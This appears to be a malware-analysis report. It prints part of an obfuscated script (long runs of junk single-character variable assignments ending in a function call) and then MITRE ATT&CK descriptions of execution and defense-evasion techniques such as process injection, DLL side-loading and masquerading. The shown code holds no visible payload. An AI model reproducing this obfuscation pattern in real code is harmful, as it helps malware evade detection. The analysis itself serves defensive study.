304	yhhtu = "n";
305	yhhtu = "c";
306	yhhtu = "I";
307	yhhtu = "b";
308	yhhtu = "f";
309	yhhtu = "J";
310	yhhtu = "B";
311	yhhtu = "S";
312	yhhtu = "H";
313	yhhtu = "J";
314	yhhtu = "o";
315	yhhtu = "L";
316	yhhtu = "e";
317	yhhtu = "L";
318	yhhtu = "u";
319	yhhtu = "h";
320	yhhtu = "X";
321	yhhtu = "l";
322	yhhtu = "r";
323	yhhtu = "S";
324	jlbqnwd = "U";
325	jlbqnwd = "J";
326	jlbqnwd = "m";
327	jlbqnwd = "F";
328	jlbqnwd = "N";
329	jlbqnwd = "h";
330	jlbqnwd = "o";
331	jlbqnwd = "H";
332	jlbqnwd = "V";
333	jlbqnwd = "X";
334	jlbqnwd = "H";
335	jlbqnwd = "L";
336	jlbqnwd = "C";
337	jlbqnwd = "%";
338	dngyjux = "P";
339	dngyjux = "C";
340	dngyjux = "Z";
341	dngyjux = "a";
342	dngyjux = "k";
343	dngyjux = "P";
344	dngyjux = "d";
345	dngyjux = "X";
346	dngyjux = "F";
347	dngyjux = "H";
348	dngyjux = "t";
349	dngyjux = "q";
350	dngyjux = "h";
351	dngyjux = "E";
352	kkopahq = "d";
353	kkopahq = "m";
354	kkopahq = "i";
355	kkopahq = "s";
356	kkopahq = "X";
357	kkopahq = "x";
358	kkopahq = "U";
359	kkopahq = "M";
360	kkopahq = "Z";
361	kkopahq = "q";
362	kkopahq = "P";
363	kkopahq = "Y";
364	kkopahq = "F";
365	kkopahq = "o";
366	kkopahq = "c";
367	kkopahq = "I";
368	hidtbvzc = "q";
369	hidtbvzc = "E";
370	hidtbvzc = "k";
371	hidtbvzc = "X";
372	hidtbvzc = "a";
373	hidtbvzc = "n";
374	hidtbvzc = "w";
375	hidtbvzc = "P";
376	hidtbvzc = "N";
377	hidtbvzc = "F";
378	hidtbvzc = "N";
379	hidtbvzc = "G";
380	hidtbvzc = "D";
381	hidtbvzc = "w";
382	hidtbvzc = "R";
383	hidtbvzc = "V";
384	hidtbvzc = "d";
385	fhrdbuux = "A";
386	fhrdbuux = "H";
387	fhrdbuux = "W";
388	fhrdbuux = "M";
389	fhrdbuux = "D";
390	fhrdbuux = "d";
391	fhrdbuux = "a";
392	fhrdbuux = "u";
393	fhrdbuux = "o";
394	fhrdbuux = "w";
395	fhrdbuux = "a";
396	ecbjvw = "z";
397	ecbjvw = "x";
398	ecbjvw = "d";
399	ecbjvw = "h";
400	ecbjvw = "v";
401	ecbjvw = "J";
402	ecbjvw = "m";
403	ecbjvw = "g";
404	ecbjvw = "F";
405	ecbjvw = "v";
406	ecbjvw = "q";
407	ecbjvw = "F";
408	ecbjvw = "m";
409	ecbjvw = "I";
410	ecbjvw = "y";
411	ecbjvw = "U";
412	ecbjvw = "x";
413	ecbjvw = "o";
414	ecbjvw = "E";
415	ecbjvw = "P";
416	ecbjvw = "F";
417	ecbjvw = "l";
418	ecbjvw = "c";
419	ecbjvw = "A";
420	ecbjvw = "W";
421	ecbjvw = "T";
422	ecbjvw = "h";
423	ecbjvw = "m";
424	otesqr = "P";
425	otesqr = "A";
426	otesqr = "C";
427	otesqr = "A";
428	otesqr = "T";
429	otesqr = "l";
430	otesqr = "i";
431	otesqr = "S";
432	otesqr = "a";
433	otesqr = "Q";
434	otesqr = "H";
435	wdexgao = "K";
436	wdexgao = "C";
437	wdexgao = "V";
438	wdexgao = "d";
439	wdexgao = "b";
440	wdexgao = "a";
441	wdexgao = "L";
442	wdexgao = "Y";
443	wdexgao = "X";
444	wdexgao = "e";
445	wdexgao = "E";
446	wdexgao = "U";
447	wdexgao = "r";
448	wdexgao = "B";
449	wdexgao = "i";
450	wdexgao = "W";
451	wdexgao = "x";
452	wdexgao = "q";
453	wdexgao = "z";
454	wdexgao = "A";
455	wdexgao = "Z";
456	wdexgao = "f";
457	wdexgao = "B";
458	wdexgao = "v";
459	wdexgao = "g";
460	wdexgao = "r";
461	wdexgao = "F";
462	wdexgao = "p";
463	wdexgao = "e";
464	wdexgao = "u";
465	wdexgao = "J";
466	wdexgao = "E";
467	wdexgao = "N";
468	wdexgao = "_";
469	zqcyt = "A";
470	zqcyt = "i";
471	zqcyt = "b";
472	zqcyt = "M";
473	zqcyt = "m";
474	zqcyt = "A";
475	zqcyt = "Z";
476	zqcyt = "H";
477	zqcyt = "T";
478	zqcyt = "u";
479	zqcyt = "f";
480	zqcyt = "x";
481	zqcyt = "k";
482	zqcyt = "m";
483	zqcyt = "V";
484	zqcyt = "X";
485	zqcyt = "Z";
486	zqcyt = "S";
487	zqcyt = "z";
488	zqcyt = "T";
489	zqcyt = "s";
490	zqcyt = "x";
491	zqcyt = "C";
492	omtvjuyna = "u";
493	omtvjuyna = "u";
494	omtvjuyna = "Z";
495	omtvjuyna = "g";
496	omtvjuyna = "I";
497	omtvjuyna = "K";
498	omtvjuyna = "g";
499	omtvjuyna = "m";
500	omtvjuyna = "n";
501	omtvjuyna = "c";
502	omtvjuyna = "j";
503	omtvjuyna = "c";
504	omtvjuyna = "X";
505	omtvjuyna = "d";
506	omtvjuyna = "L";
507	omtvjuyna = "e";
508	omtvjuyna = "R";
509	omtvjuyna = "m";
510	omtvjuyna = "b";
511	omtvjuyna = "b";
512	omtvjuyna = "y";
513	omtvjuyna = "n";
514	omtvjuyna = "f";
515	omtvjuyna = "g";
516	omtvjuyna = "L";
517	omtvjuyna = "k";
518	omtvjuyna = "X";
519	omtvjuyna = "v";
520	omtvjuyna = "D";
521	omtvjuyna = "V";
522	omtvjuyna = "s";
523	omtvjuyna = "K";
524	omtvjuyna = "F";
525	omtvjuyna = "G";
526	omtvjuyna = "l";
527	omtvjuyna = "b";
528	omtvjuyna = "W";
529	omtvjuyna = "e";
530	omtvjuyna = "w";
531	omtvjuyna = "E";
532	omtvjuyna = "A";
533	omtvjuyna = "X";
534	omtvjuyna = " ";
535	usxkohlbi = "w";
536	usxkohlbi = "a";
537	usxkohlbi = "q";
538	usxkohlbi = "X";
539	usxkohlbi = "E";
540	usxkohlbi = "p";
541	usxkohlbi = "y";
542	usxkohlbi = "m";
543	usxkohlbi = "U";
544	usxkohlbi = "e";
545	usxkohlbi = "H";
546	usxkohlbi = "n";
547	usxkohlbi = "L";
548	usxkohlbi = "G";
549	usxkohlbi = "i";
550	usxkohlbi = "V";
551	usxkohlbi = "u";
552	usxkohlbi = "d";
553	usxkohlbi = "p";
554	krrdtgato = "W";
555	krrdtgato = "C";
556	krrdtgato = "s";
557	krrdtgato = "V";
558	krrdtgato = "h";
559	krrdtgato = "Q";
560	krrdtgato = "x";
561	krrdtgato = "w";
562	nvwxs = "E";
563	nvwxs = "p";
564	nvwxs = "L";
565	nvwxs = "b";
566	nvwxs = "N";
567	nvwxs = "w";
568	nvwxs = "y";
569	nvwxs = "q";
570	nvwxs = "M";
571	nvwxs = "O";
572	nvwxs = "w";
573	nvwxs = "v";
574	nvwxs = "H";
575	nvwxs = "P";
576	nvwxs = "d";
577	nvwxs = "A";
578	nvwxs = "s";
579	nvwxs = "O";
580	nvwxs = "H";
581	nvwxs = "l";
582	nvwxs = "Z";
583	nvwxs = "T";
584	nvwxs = "p";
585	nvwxs = "N";
586	nvwxs = "v";
587	nvwxs = "N";
588	nvwxs = "Q";
589	nvwxs = "a";
590	nvwxs = "x";
591	nvwxs = "c";
592	nvwxs = "m";
593	nvwxs = "U";
594	nvwxs = "U";
595	nvwxs = "P";
596	nvwxs = "Y";
597	nvwxs = "0";
598	nvojeyh = "b";
599	nvojeyh = "F";
600	nvojeyh = "Q";
601	nvojeyh = "R";
602	nvojeyh = "L";
603	nvojeyh = "d";
604	nvojeyh = "E";
605	nvojeyh = "X";
606	nvojeyh = "E";
607	nvojeyh = "K";
608	nvojeyh = "C";
609	nvojeyh = "u";
610	nvojeyh = "M";
611	nvojeyh = "M";
612	nvojeyh = "J";
613	nvojeyh = "S";
614	nvojeyh = "n";
615	nvojeyh = "a";
616	nvojeyh = "n";
617	nvojeyh = "m";
618	nvojeyh = "e";
619	nvojeyh = "q";
620	nvojeyh = "B";
621	nvojeyh = "S";
622	nvojeyh = "C";
623	nvojeyh = "z";
624	nvojeyh = "Z";
625	nvojeyh = "o";
626	vkzynodk = "J";
627	vkzynodk = "x";
628	vkzynodk = "m";
629	vkzynodk = "q";
630	vkzynodk = "f";
631	vkzynodk = "Y";
632	vkzynodk = "j";
633	vkzynodk = "q";
634	vkzynodk = "a";
635	vkzynodk = "n";
636	vkzynodk = "Q";
637	vkzynodk = "N";
638	vkzynodk = "j";
639	vkzynodk = "T";
640	vkzynodk = "z";
641	vkzynodk = "C";
642	vkzynodk = "R";
643	vkzynodk = "K";
644	plxugg = "R";
645	plxugg = "B";
646	plxugg = "s";
647	plxugg = "b";
648	plxugg = "o";
649	plxugg = "U";
650	plxugg = "u";
651	plxugg = "E";
652	plxugg = "u";
653	plxugg = "q";
654	plxugg = "B";
655	plxugg = "z";
656	plxugg = "m";
657	plxugg = "c";
658	plxugg = "i";
659	plxugg = "M";
660	plxugg = "D";
661	plxugg = "x";
662	plxugg = "Y";
663	plxugg = "Y";
664	plxugg = "F";
665	plxugg = "O";
666	plxugg = "B";
667	plxugg = "i";
668	plxugg = "t";
669	plxugg = "o";
670	plxugg = "W";
671	plxugg = "D";
672	plxugg = "x";
673	plxugg = "/";
674	vzfltmi = "W";
675	vzfltmi = "h";
676	lpclngnf = "E";
677	lpclngnf = "D";
678	lpclngnf = "s";
679	lpclngnf = "Z";
680	lpclngnf = "O";
681	lpclngnf = "Z";
682	lpclngnf = "A";
683	lpclngnf = "L";
684	lpclngnf = "j";
685	lpclngnf = "W";
686	lpclngnf = "c";
687	lpclngnf = "T";
688	lpclngnf = "k";
689	lpclngnf = "Z";
690	lpclngnf = "R";
691	lpclngnf = "p";
692	lpclngnf = "p";
693	lpclngnf = "R";
694	lpclngnf = "z";
695	lpclngnf = "l";
696	lpclngnf = "H";
697	lpclngnf = "S";
698	lpclngnf = "I";
699	lpclngnf = "j";
700	lpclngnf = "R";
701	lpclngnf = "y";
702	lpclngnf = "r";
703	lpclngnf = "e";
704	czqdrvonn = "p";
705	czqdrvonn = "A";
706	czqdrvonn = "L";
707	czqdrvonn = "y";
708	czqdrvonn = "A";
709	czqdrvonn = "a";
710	czqdrvonn = "j";
711	czqdrvonn = "n";
712	czqdrvonn = "U";
713	czqdrvonn = "e";
714	czqdrvonn = "f";
715	czqdrvonn = "u";
716	czqdrvonn = "v";
717	czqdrvonn = "V";
718	czqdrvonn = "i";
719	czqdrvonn = "b";
720	czqdrvonn = "D";
721	czqdrvonn = "m";
722	czqdrvonn = "k";
723	czqdrvonn = "Z";
724	czqdrvonn = "B";
725	czqdrvonn = "h";
726	czqdrvonn = "V";
727	czqdrvonn = "m";
728	czqdrvonn = "W";
729	czqdrvonn = "p";
730	czqdrvonn = "L";
731	gvjqpxv = "c";
732	gvjqpxv = "N";
733	gvjqpxv = "u";
734	gvjqpxv = "h";
735	gvjqpxv = "e";
736	gvjqpxv = "H";
737	gvjqpxv = "L";
738	gvjqpxv = "J";
739	gvjqpxv = "B";
740	gvjqpxv = "v";
741	gvjqpxv = "H";
742	gvjqpxv = "Z";
743	gvjqpxv = "u";
744	gvjqpxv = "k";
745	gvjqpxv = "J";
746	gvjqpxv = "j";
747	gvjqpxv = "E";
748	gvjqpxv = "A";
749	gvjqpxv = "Q";
750	gvjqpxv = "v";
751	gvjqpxv = "G";
752	gvjqpxv = "x";
753	gvjqpxv = "m";
754	gvjqpxv = "h";
755	gvjqpxv = "S";
756	gvjqpxv = "L";
757	gvjqpxv = "H";
758	gvjqpxv = "f";
759	gvjqpxv = "B";
760	gvjqpxv = "F";
761	gvjqpxv = "G";
762	gvjqpxv = "w";
763	gvjqpxv = "S";
764	gvjqpxv = "9";
765	ucoofca = "f";
766	ucoofca = "f";
767	ucoofca = "A";
768	ucoofca = "P";
769	ucoofca = "I";
770	ucoofca = "x";
771	ucoofca = "X";
772	ucoofca = "C";
773	ucoofca = "S";
774	ucoofca = "P";
775	usdlhmp = "Q";
776	usdlhmp = "g";
777	usdlhmp = "B";
778	usdlhmp = "t";
779	xvsvli = "U";
780	xvsvli = "Z";
781	xvsvli = "y";
782	xvsvli = "C";
783	xvsvli = "K";
784	xvsvli = "Z";
785	xvsvli = "w";
786	xvsvli = "e";
787	xvsvli = "C";
788	xvsvli = "e";
789	xvsvli = "g";
790	xvsvli = "B";
791	xvsvli = "F";
792	xvsvli = "t";
793	xvsvli = "t";
794	xvsvli = "N";
795	xvsvli = "U";
796	xvsvli = "V";
797	xvsvli = "H";
798	xvsvli = "B";
799	xvsvli = "U";
800	xvsvli = "x";
801	xvsvli = "d";
802	xvsvli = "A";
803	xvsvli = "m";
804	xvsvli = "K";
805	xvsvli = "p";
806	xvsvli = "G";
807	xvsvli = "g";
808	xvsvli = "i";
809	xvsvli = "e";
810	xvsvli = "1";
811	endfeia = "n";
812	endfeia = "g";
813	endfeia = "i";
814	endfeia = "b";
815	endfeia = "c";
816	endfeia = "K";
817	endfeia = "y";
818	endfeia = "i";
819	endfeia = "Z";
820	endfeia = "o";
821	endfeia = "D";
822	endfeia = "x";
823	endfeia = "m";
824	endfeia = "A";
825	endfeia = "Y";
826	endfeia = "l";
827	endfeia = "k";
828	endfeia = "v";
829	endfeia = "L";
830	endfeia = "a";
831	endfeia = "E";
832	endfeia = "N";
833	endfeia = "v";
834	endfeia = "b";
835	endfeia = "f";
836	endfeia = "o";
837	endfeia = "G";
838	endfeia = "l";
839	rmevsapu = "l";
840	rmevsapu = "D";
841	rmevsapu = "Q";
842	rmevsapu = "C";
843	rmevsapu = "w";
844	rmevsapu = "U";
845	rmevsapu = "Z";
846	rmevsapu = "m";
847	rmevsapu = "C";
848	rmevsapu = "P";
849	rmevsapu = "L";
850	rmevsapu = "l";
851	rmevsapu = "L";
852	rmevsapu = "Q";
853	rmevsapu = "W";
854	rmevsapu = "m";
855	rmevsapu = "s";
856	whvhhimek = "R";
857	whvhhimek = "r";
858	whvhhimek = "X";
859	whvhhimek = "H";
860	whvhhimek = "r";
861	whvhhimek = "a";
862	whvhhimek = "l";
863	whvhhimek = "C";
864	whvhhimek = "R";
865	whvhhimek = "v";
866	whvhhimek = "Y";
867	whvhhimek = "p";
868	whvhhimek = "Z";
869	whvhhimek = "G";
870	whvhhimek = "O";
871	whvhhimek = "W";
872	whvhhimek = "q";
873	whvhhimek = "i";
874	whvhhimek = "G";
875	whvhhimek = "N";
876	whvhhimek = "b";
877	whvhhimek = "A";
878	whvhhimek = "K";
879	whvhhimek = "F";
880	whvhhimek = "G";
881	whvhhimek = "Z";
882	whvhhimek = "i";
883	srnhckzr = "z";
884	srnhckzr = "g";
885	srnhckzr = "o";
886	srnhckzr = "p";
887	srnhckzr = "o";
888	srnhckzr = "R";
889	srnhckzr = "V";
890	srnhckzr = "W";
891	srnhckzr = "M";
892	srnhckzr = "W";
893	srnhckzr = "W";
894	srnhckzr = "o";
895	srnhckzr = "U";
896	srnhckzr = "s";
897	srnhckzr = "X";
898	srnhckzr = "I";
899	srnhckzr = "H";
900	srnhckzr = "a";
901	srnhckzr = "K";
902	srnhckzr = "X";
903	srnhckzr = "y";
904	srnhckzr = "X";
905	srnhckzr = "A";
906	srnhckzr = "v";
907	srnhckzr = "V";
908	srnhckzr = "X";
909	srnhckzr = "b";
910	srnhckzr = "y";
911	srnhckzr = "v";
912	srnhckzr = "w";
913	srnhckzr = "f";
914	srnhckzr = "l";
915	srnhckzr = "d";
916	srnhckzr = "H";
917	srnhckzr = "V";
918	srnhckzr = "G";
919	srnhckzr = "I";
920	srnhckzr = "V";
921	srnhckzr = "q";
922	srnhckzr = "2";
923	ywsae = "Z";
924	ywsae = "k";
925	ywsae = "j";
926	ywsae = "V";
927	ywsae = "x";
928	ywsae = "P";
929	ywsae = "z";
930	ywsae = "V";
931	ywsae = "B";
932	ywsae = "g";
933	ywsae = "h";
934	ywsae = "n";
935	ywsae = "O";
936	ywsae = "t";
937	ywsae = "H";
938	ywsae = "P";
939	ywsae = "s";
940	ywsae = "V";
941	ywsae = "w";
942	ywsae = "e";
943	ywsae = "t";
944	ywsae = "C";
945	ywsae = "y";
946	ywsae = "q";
947	ywsae = "H";
948	ywsae = "h";
949	ywsae = "r";
950	ywsae = "A";
951	ywsae = "s";
952	ywsae = "K";
953	ywsae = "T";
954	ywsae = "c";
955	ywsae = "U";
956	ywsae = "f";
957	ywsae = "f";
958	ywsae = "c";
959	ywsae = "j";
960	ywsae = "F";
961	ywsae = "f";
962	ywsae = "W";
963	ywsae = "P";
964	ywsae = "i";
965	ywsae = "u";
966	ywsae = "Y";
967	ywsae = "T";
968	sacuqnf = "E";
969	sacuqnf = "e";
970	sacuqnf = "j";
971	sacuqnf = "V";
972	sacuqnf = "K";
973	sacuqnf = "F";
974	sacuqnf = "r";
975	sacuqnf = "l";
976	sacuqnf = "G";
977	sacuqnf = "x";
978	sacuqnf = "s";
979	sacuqnf = "c";
980	sacuqnf = "r";
981	sacuqnf = "i";
982	sacuqnf = "V";
983	sacuqnf = "H";
984	sacuqnf = "m";
985	sacuqnf = "P";
986	sacuqnf = "H";
987	sacuqnf = "o";
988	sacuqnf = "O";
989	sacuqnf = "k";
990	sacuqnf = "g";
991	sacuqnf = "F";
992	sacuqnf = "l";
993	sacuqnf = "N";
994	sacuqnf = "Z";
995	sacuqnf = "Y";
996	sacuqnf = "K";
997	sacuqnf = "g";
998	sacuqnf = "W";
999	sacuqnf = "F";
1000	sacuqnf = "v";
1001	sacuqnf = "c";
1002	sacuqnf = "d";
1003	sacuqnf = "5";
1004	zoiouonok = "H";
1005	zoiouonok = "s";
1006	zoiouonok = "U";
1007	zoiouonok = "b";
1008	zoiouonok = "k";
1009	zoiouonok = "a";
1010	zoiouonok = "I";
1011	zoiouonok = "V";
1012	zoiouonok = "n";
1013	zoiouonok = "V";
1014	zoiouonok = "X";
1015	zoiouonok = "p";
1016	zoiouonok = "f";
1017	zoiouonok = "t";
1018	zoiouonok = "P";
1019	zoiouonok = "M";
1020	zoiouonok = "v";
1021	zoiouonok = "b";
1022	zoiouonok = "h";
1023	zoiouonok = "I";
1024	zoiouonok = "l";
1025	zoiouonok = "B";
1026	zoiouonok = "I";
1027	zoiouonok = "e";
1028	zoiouonok = "B";
1029	zoiouonok = "g";
1030	sypevh = "w";
1031	sypevh = "j";
1032	sypevh = "k";
1033	sypevh = "X";
1034	sypevh = "w";
1035	sypevh = "X";
1036	sypevh = "o";
1037	sypevh = "W";
1038	sypevh = "Q";
1039	sypevh = "f";
1040	sypevh = "s";
1041	sypevh = "s";
1042	sypevh = "b";
1043	sypevh = "G";
1044	sypevh = "x";
1045	sypevh = "m";
1046	sypevh = "E";
1047	sypevh = "i";
1048	sypevh = "o";
1049	sypevh = "F";
1050	sypevh = "H";
1051	sypevh = "J";
1052	sypevh = "A";
1053	sypevh = "K";
1054	sypevh = "q";
1055	sypevh = "W";
1056	sypevh = "X";
1057	sypevh = "G";
1058	sypevh = "r";
1059	lldrqqw = "e";
1060	lldrqqw = "J";
1061	lldrqqw = "N";
1062	lldrqqw = "p";
1063	lldrqqw = "Y";
1064	lldrqqw = "h";
1065	lldrqqw = "R";
1066	lldrqqw = "O";
1067	lldrqqw = "B";
1068	lldrqqw = "d";
1069	lldrqqw = "t";
1070	lldrqqw = "Y";
1071	lldrqqw = "D";
1072	lldrqqw = "l";
1073	lldrqqw = "S";
1074	lldrqqw = "Y";
1075	lldrqqw = "r";
1076	lldrqqw = "K";
1077	lldrqqw = "C";
1078	lldrqqw = "d";
1079	lldrqqw = "H";
1080	lldrqqw = "t";
1081	lldrqqw = "E";
1082	lldrqqw = "F";
1083	lldrqqw = "U";
1084	lldrqqw = "D";
1085	lldrqqw = "Y";
1086	lldrqqw = "R";
1087	lldrqqw = "v";
1088	lldrqqw = "T";
1089	lldrqqw = "E";
1090	lldrqqw = "y";
1091	lldrqqw = "6";
1092	czeigm = "F";
1093	rmygtsg = "a";
1094	rmygtsg = "o";
1095	rmygtsg = "S";
1096	rmygtsg = "h";
1097	rmygtsg = "k";
1098	rmygtsg = "Z";
1099	rmygtsg = "u";
1100	rmygtsg = "B";
1101	rmygtsg = "T";
1102	rmygtsg = "W";
1103	rmygtsg = "V";
1104	rmygtsg = "d";
1105	rmygtsg = "b";
1106	rmygtsg = "m";
1107	rmygtsg = "h";
1108	rmygtsg = "N";
1109	ubypzu = "H";
1110	ubypzu = "g";
1111	ubypzu = "z";
1112	ubypzu = "s";
1113	ubypzu = "r";
1114	ubypzu = "a";
1115	ubypzu = "m";
1116	ubypzu = "&";
1117	vrprfzflk = "t";
1118	vrprfzflk = "a";
1119	vrprfzflk = "u";
1120	vrprfzflk = "y";
1121	vrprfzflk = "I";
1122	vrprfzflk = "x";
1123	vrprfzflk = "T";
1124	vrprfzflk = "n";
1125	vrprfzflk = "L";
1126	vrprfzflk = "F";
1127	vrprfzflk = "X";
1128	vrprfzflk = "T";
1129	vrprfzflk = "v";
1130	vrprfzflk = "X";
1131	vrprfzflk = "s";
1132	vrprfzflk = "m";
1133	vrprfzflk = "P";
1134	vrprfzflk = "b";
1135	vrprfzflk = "L";
1136	vrprfzflk = "X";
1137	vrprfzflk = "i";
1138	vrprfzflk = "j";
1139	vrprfzflk = "N";
1140	vrprfzflk = "N";
1141	vrprfzflk = "R";
1142	vrprfzflk = "a";
1143	vrprfzflk = "E";
1144	vrprfzflk = "Z";
1145	vrprfzflk = "H";
1146	vrprfzflk = "Z";
1147	vrprfzflk = "i";
1148	vrprfzflk = "4";
1149	sjhwf = "s";
1150	sjhwf = "s";
1151	sjhwf = "Q";
1152	sjhwf = "d";
1153	sjhwf = "v";
1154	sjhwf = "Y";
1155	sjhwf = "e";
1156	sjhwf = "p";
1157	sjhwf = "Y";
1158	sjhwf = "T";
1159	sjhwf = "c";
1160	sjhwf = "f";
1161	sjhwf = "s";
1162	sjhwf = "b";
1163	sjhwf = "m";
1164	sjhwf = "x";
1165	sjhwf = "n";
1166	sjhwf = "s";
1167	sjhwf = "W";
1168	sjhwf = "A";
1169	sjhwf = "K";
1170	sjhwf = "m";
1171	sjhwf = "C";
1172	sjhwf = "a";
1173	sjhwf = "I";
1174	sjhwf = "x";
1175	sjhwf = "r";
1176	sjhwf = ":";
1177	inkwjjn = "a";
1178	inkwjjn = "c";
1179	inkwjjn = "W";
1180	inkwjjn = "h";
1181	inkwjjn = "d";
1182	inkwjjn = "E";
1183	inkwjjn = "B";
1184	inkwjjn = "w";
1185	inkwjjn = "n";
1186	inkwjjn = "o";
1187	inkwjjn = "W";
1188	inkwjjn = "p";
1189	inkwjjn = "G";
1190	inkwjjn = "X";
1191	inkwjjn = "p";
1192	inkwjjn = "I";
1193	inkwjjn = "f";
1194	inkwjjn = "I";
1195	inkwjjn = "D";
1196	inkwjjn = "W";
1197	iiqefo = "S";
1198	iiqefo = "e";
1199	iiqefo = "m";
1200	iiqefo = "v";
1201	iiqefo = "S";
1202	iiqefo = "F";
1203	iiqefo = "g";
1204	iiqefo = "Z";
1205	iiqefo = "P";
1206	iiqefo = "J";
1207	iiqefo = "s";
1208	iiqefo = "S";
1209	iiqefo = "N";
1210	iiqefo = "G";
1211	iiqefo = "g";
1212	iiqefo = "W";
1213	iiqefo = "N";
1214	iiqefo = "F";
1215	iiqefo = "Y";
1216	iiqefo = "i";
1217	iiqefo = "G";
1218	iiqefo = "U";
1219	iiqefo = "r";
1220	iiqefo = "n";
1221	ejeqtnri = "M";
1222	ejeqtnri = "e";
1223	ejeqtnri = "y";
1224	ejeqtnri = "k";
1225	agwnhyrp = "w";
1226	agwnhyrp = "f";
1227	agwnhyrp = "H";
1228	agwnhyrp = "z";
1229	agwnhyrp = "u";
1230	agwnhyrp = "R";
1231	agwnhyrp = "D";
1232	agwnhyrp = "m";
1233	agwnhyrp = "s";
1234	agwnhyrp = "w";
1235	agwnhyrp = "X";
1236	agwnhyrp = "y";
1237	agwnhyrp = "G";
1238	agwnhyrp = "c";
1239	agwnhyrp = "E";
1240	agwnhyrp = "n";
1241	agwnhyrp = "X";
1242	agwnhyrp = "W";
1243	agwnhyrp = "l";
1244	agwnhyrp = "g";
1245	agwnhyrp = "M";
1246	agwnhyrp = "L";
1247	agwnhyrp = "V";
1248	agwnhyrp = "q";
1249	agwnhyrp = "L";
1250	agwnhyrp = "r";
1251	agwnhyrp = "w";
1252	agwnhyrp = "V";
1253	agwnhyrp = "g";
1254	agwnhyrp = "T";
1255	agwnhyrp = "O";
1256	agwnhyrp = "E";
1257	agwnhyrp = "C";
1258	agwnhyrp = "j";
1259	agwnhyrp = "O";
1260	pognz = "b";
1261	pognz = "L";
1262	pognz = "d";
1263	pognz = "j";
1264	pognz = "g";
1265	pognz = "V";
1266	pognz = "i";
1267	pognz = "T";
1268	pognz = "L";
1269	pognz = "r";
1270	pognz = "F";
1271	pognz = "c";
1272	pognz = "F";
1273	pognz = "e";
1274	pognz = "L";
1275	pognz = "Y";
1276	isluk = "W";
1277	isluk = "B";
1278	isluk = "v";
1279	isluk = "Z";
1280	isluk = "b";
1281	isluk = "j";
1282	isluk = "p";
1283	isluk = "T";
1284	isluk = "O";
1285	isluk = "S";
1286	isluk = "w";
1287	isluk = "a";
1288	isluk = "l";
1289	isluk = "Q";
1290	isluk = "G";
1291	isluk = "m";
1292	isluk = "f";
1293	yshpeiv = "q";
1294	yshpeiv = "B";
1295	yshpeiv = "A";
1296	yshpeiv = "k";
1297	yshpeiv = "E";
1298	yshpeiv = "Z";
1299	yshpeiv = "n";
1300	yshpeiv = "t";
1301	yshpeiv = "v";
1302	yshpeiv = "x";
1303	yshpeiv = "M";
1304	yshpeiv = "k";
1305	yshpeiv = "b";
1306	yshpeiv = "O";
1307	yshpeiv = "n";
1308	yshpeiv = "G";
1309	yshpeiv = "a";
1310	yshpeiv = "i";
1311	yshpeiv = "N";
1312	yshpeiv = "G";
1313	yshpeiv = "M";
1314	yshpeiv = "@";
1315	ixmdhglv ( );	ixmdhglv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
